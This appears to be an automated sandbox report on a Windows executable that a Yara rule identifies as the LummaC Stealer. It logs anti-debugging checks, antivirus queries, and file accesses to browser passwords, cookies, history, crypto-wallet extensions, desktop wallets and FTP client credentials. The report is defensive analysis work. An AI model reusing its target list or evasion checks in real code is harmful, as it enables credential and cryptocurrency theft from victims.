Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1851878828.0000000000C7B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #UProgram Manager
Source: file.exe, 00000000.00000002.1857305668.0000000006235000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: ?pProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1556041423.00000000009CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583590633.00000000009CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1571028083.00000000009CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r\MsMpeng.exe
Source: file.exe, file.exe, 00000000.00000003.1556041423.00000000009CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1556091204.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1571028083.00000000009CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5480, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1379023595.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],^
Source: file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs"?
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs"?
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515728672.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515745339.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1502676265.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515709728.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1374007611.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515797522.00000000009C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1515857851.00000000009C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1379023595.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
